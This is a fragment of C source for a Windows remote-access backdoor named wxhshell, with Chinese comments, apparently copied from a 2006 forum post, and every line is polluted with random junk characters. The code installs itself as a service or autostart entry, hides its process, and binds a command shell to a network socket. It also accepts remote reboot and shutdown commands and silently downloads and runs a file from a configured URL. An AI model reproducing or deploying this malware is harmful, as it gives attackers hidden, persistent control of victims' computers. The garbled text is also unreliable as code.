  else { 4l$(#NB<  
HhaUC?JtSK  
    switch(cmd[0]) { q@p-)+D;  
  ! \H!9FR  
  // 帮助 _e=R[  
  case '?': { 4cql?W(D  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ?s("@dz_  
    break; EIwTx:{F  
  } V>j6Juh  
  // 安装 lV-7bZ  
  case 'i': { _n(NPFV  
    if(Install()) }xHoitOD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~:f9,  
    else %zs 1v]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ` =!&9o  
    break; z$E+xZ  
    } .foM>UOY  
  // 卸载 ' @M  
  case 'r': { >yn%.Uoh@  
    if(Uninstall()) 9LGJ-gL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0!rU,74I=  
    else H'$g!Pg  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F t%f"Z  
    break; K^k1]!W=  
    } h@T}WZv  
  // 显示 wxhshell 所在路径 SQ)$>3>C  
  case 'p': { l'(Cxhf.W  
    char svExeFile[MAX_PATH]; {b>tX)Tep  
    strcpy(svExeFile,"\n\r"); "2X=i`rTi  
      strcat(svExeFile,ExeFile); jBV2]..  
        send(wsh,svExeFile,strlen(svExeFile),0); =/" Of  
    break; Pn5@7~  
    } k=O2s'F`  
  // 重启 G|yX9C]R   
  case 'b': { Mu18s}  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); glh2CRUj  
    if(Boot(REBOOT)) "';'*x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z_eP  
    else { 5,'?NEyw  
    closesocket(wsh); 1<^"OjQ  
    ExitThread(0); /J8AnA1  
    } 86~HkHliv  
    break; jN V2o  
    } 'z2}qJJ)  
  // 关机 UnZ*"%  
  case 'd': { abUn{X+f~  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ( =->rP  
    if(Boot(SHUTDOWN)) PEoO s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !J[3U   
    else { gy _86y@  
    closesocket(wsh); 8<k0j&~J  
    ExitThread(0); V# |#% 8  
    } R)t"`'6|  
    break; @?{n`K7{`  
    } f 5_n2  
  // 获取shell L._I"g5 H9  
  case 's': { Nm#VA.~  
    CmdShell(wsh); q,2]]K7y  
    closesocket(wsh); `|i #)  
    ExitThread(0); ` &|Rs  
    break; dx[<@f2c  
  } +M (\R?@gr  
  // 退出 Fm{Ri=X<:  
  case 'x': { <dDGV>n4;  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); } O9q$-8!  
    CloseIt(wsh); OibW8A4Z1  
    break; , Z#t-?  
    } \*!?\Ko`W  
  // 离开 QR'"Zw&q5/  
  case 'q': { hyL3fkMJ,  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); n w @cAv  
    closesocket(wsh); e6k}-<W*q  
    WSACleanup(); |t|+pBB  
    exit(1); z['>`Kt  
    break; 8^$}!9B~JZ  
        } ];^A8?  
  } RM-| ?%  
  } NyJU?^f&v  
Q}W6?XDu  
  // 提示信息 09eS&J<R  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); lKI1bs]i  
} 6CLrP} u  
  } 95aa  
2;5EH 0  
  return; !k||-Q &  
} V{$(#r  
?y'KX]/  
// shell模块句柄 -Duy: C6W  
int CmdShell(SOCKET sock) +%6{>C+bZo  
{ S3:Pjz}t  
STARTUPINFO si; 0(Z ER sP  
ZeroMemory(&si,sizeof(si)); <m`HK.|~  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; I_'S|L  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; }-)2CEj3L%  
PROCESS_INFORMATION ProcessInfo; [U]*OQH`e  
char cmdline[]="cmd"; uezqC=v$h  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); mmAikT#k  
  return 0; j.sxyW?3  
} $/5Jc[Ow  
y VUA7IY  
// 自身启动模式 `z-4OJ8~  
int StartFromService(void) ]/HSlT=  
{ 2K!3+D"  
typedef struct #SQT!4  
{ 4s^5t6  
  DWORD ExitStatus; -wC;pA#o  
  DWORD PebBaseAddress; z6B/H2  
  DWORD AffinityMask; '[~NRKQJ  
  DWORD BasePriority; utQE$0F  
  ULONG UniqueProcessId; nE+sbfC   
  ULONG InheritedFromUniqueProcessId; *pk*ijdB  
}   PROCESS_BASIC_INFORMATION; r{$ip"f  
bAeC=?U  
PROCNTQSIP NtQueryInformationProcess; yW^[{)V 3%  
#c'yAa  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; F5gL-\6  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ?7@B$OlU  
j=r`[B m  
  HANDLE             hProcess; o  <0f  
  PROCESS_BASIC_INFORMATION pbi; 8V;@yzI ha  
)~T)$TS  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); _jR%o1Y}  
  if(NULL == hInst ) return 0; dfiA- h  
A$WE:<^  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); {^Vkxf]  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); BP,"vq$'+  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); V2,54YE  
U voX\  
  if (!NtQueryInformationProcess) return 0; GX&BUP\  
=_\5h=`Yx  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); "8&pT^  
  if(!hProcess) return 0; 7!#x-KR~5  
"nU5c4   
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; efy65+~GG  
 >zFe)  
  CloseHandle(hProcess); `g<@F^x5  
7u6o~(  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Ha1E /b]K  
if(hProcess==NULL) return 0; 84DneSpHsp  
VtUe$ft  
HMODULE hMod; Y _m4:9p  
char procName[255]; P \tP0+at  
unsigned long cbNeeded; dD?1te  
';hU&D;s  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); lt|\$Iy(  
|o6 h:g  
  CloseHandle(hProcess); T,@.RF  
68Vn]mr#  
if(strstr(procName,"services")) return 1; // 以服务启动 }7RR",w  
=\B{)z7@6D  
  return 0; // 注册表启动 9 #TzW9  
} {2vk<  
Ds9pXgU( Z  
// 主模块 od{Y` .<  
int StartWxhshell(LPSTR lpCmdLine) ^o_2=91  
{ =dHM)OXD"  
  SOCKET wsl; d=o|)kV  
BOOL val=TRUE; 7cr@;%#  
  int port=0; V8ZE(0&II}  
  struct sockaddr_in door; wdS^`nz|  
+wXrQV  
  if(wscfg.ws_autoins) Install(); {(w/_C9  
=${]j  
port=atoi(lpCmdLine); h$)(-_c3  
ah1d0e P  
if(port<=0) port=wscfg.ws_port; G+stt(k:  
mp!KPw08':  
  WSADATA data; <{bQl L  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; )XmV3.rI  
}&I\a  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ]>E*s3h  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); PUV)w\!&is  
  door.sin_family = AF_INET; uM h[Ht^.  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); V%8?f,  
  door.sin_port = htons(port); J0*hJ-/u  
iZ<^p1i  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { "CLoM\M)  
closesocket(wsl); ym9Z:2g  
return 1; Ve*NM|jg  
} E0!}~Z)  
vH%AXz IA  
  if(listen(wsl,2) == INVALID_SOCKET) { <vJPKQ`=:  
closesocket(wsl); K*&M:u6E  
return 1; Py$Q]s?\1  
} eqU2>bI f  
  Wxhshell(wsl); VR ^qwS/  
  WSACleanup(); f.JZ[+  
mE'y$5ZxY  
return 0; ye:pGa w  
-G e5gQ=  
} rZ2X$FO@  
b6:A-jb*I  
// 以NT服务方式启动 PElC0 qCn[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) <cNXe4(  
{ WSi`)@.X O  
DWORD   status = 0; J( JsfU4  
  DWORD   specificError = 0xfffffff; G3'>KMa.  
?YWfoH4mS  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ^e:C{]S=  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; +%Q:  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; GmP)"@O](;  
  serviceStatus.dwWin32ExitCode     = 0; :i_818h!?[  
  serviceStatus.dwServiceSpecificExitCode = 0; 4e~^G  
  serviceStatus.dwCheckPoint       = 0; u\wdb^8ds  
  serviceStatus.dwWaitHint       = 0; R*a5bKr  
s:3 altv  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); #"-?+F=rk  
  if (hServiceStatusHandle==0) return; X TEC0s"F  
I=o[\?u*_  
status = GetLastError(); (|)`~z  
  if (status!=NO_ERROR) c[\ :^w^I6  
{ 4 YDK`:4I~  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ~XN--4%Q  
    serviceStatus.dwCheckPoint       = 0; =}>wxO  
    serviceStatus.dwWaitHint       = 0; x=T`i-M  
    serviceStatus.dwWin32ExitCode     = status; ma9q?H#X  
    serviceStatus.dwServiceSpecificExitCode = specificError; [ -"o5!0<  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); gNF8&T  
    return; F1)B-wW  
  } vQ/}E@?u  
yI/2 e[  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; }P(RGKQ Z"  
  serviceStatus.dwCheckPoint       = 0; :xJ]# t..  
  serviceStatus.dwWaitHint       = 0; qX{"R.d  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); oNQ;9&Z,^2  
} wgfA\7Z  
.] mYpz  
// 处理NT服务事件,比如:启动、停止 9qN4f8R  
VOID WINAPI NTServiceHandler(DWORD fdwControl) oJa6)+b(3  
{ YL-/z4g  
switch(fdwControl) Z?X0:WK  
{ Mx{VN P  
case SERVICE_CONTROL_STOP: o|Cq#JFG  
  serviceStatus.dwWin32ExitCode = 0; OzY55  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; FdEzt  
  serviceStatus.dwCheckPoint   = 0; Atsi}zTR\  
  serviceStatus.dwWaitHint     = 0; jXA!9_L7  
  { W9n0Jv  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); gw~ %jD-2  
  } i{[=N9U5o  
  return; DTmv2X  
case SERVICE_CONTROL_PAUSE: )*#Pp )Q  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; H,,-;tN?  
  break; ^7M hnA  
case SERVICE_CONTROL_CONTINUE: KiW4>@tY  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; e~R; 2bk  
  break; .{sKEVK  
case SERVICE_CONTROL_INTERROGATE: *z[G+JX  
  break; XndGe=O  
}; >2h|$6iWP  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); X8~dFjhX  
} *uHL'Pe;m  
uo0g51%9  
// 标准应用程序主函数 ,: g.B\'Q  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) $$ %4,\{l  
{ y_O[r1MF  
5tPBTS<<"L  
// 获取操作系统版本 K$OxeJP?F  
OsIsNt=GetOsVer(); -c-af%xD  
GetModuleFileName(NULL,ExeFile,MAX_PATH); .K`OEdr<  
wKF #8Y  
  // 从命令行安装 - s[=$pDU  
  if(strpbrk(lpCmdLine,"iI")) Install(); piYv }4;:(  
Oop5bg  
  // 下载执行文件 VD}8ei  
if(wscfg.ws_downexe) { jv $Y]nf  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) RtVy^~=G  
  WinExec(wscfg.ws_filenam,SW_HIDE); r /v'h@  
} <;O=h; ~|  
]=\Mf<  
if(!OsIsNt) { m|q?gX9R  
// 如果时win9x,隐藏进程并且设置为注册表启动 +./c=o/v  
HideProc(); XMhDx  
StartWxhshell(lpCmdLine); Y[%1?CREP  
} HScj  
else +|}R^x`z  
  if(StartFromService()) GMmz`O XN  
  // 以服务方式启动 g8^\|  
  StartServiceCtrlDispatcher(DispatchTable); W>C!V  
else v*Tliw`-U  
  // 普通方式启动 hsV+?#I  
  StartWxhshell(lpCmdLine); )aoB -Lu  
\zj _6Os  
return 0; s_]p6M  
}
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只看该作者 1 发表于: 2006-10-10
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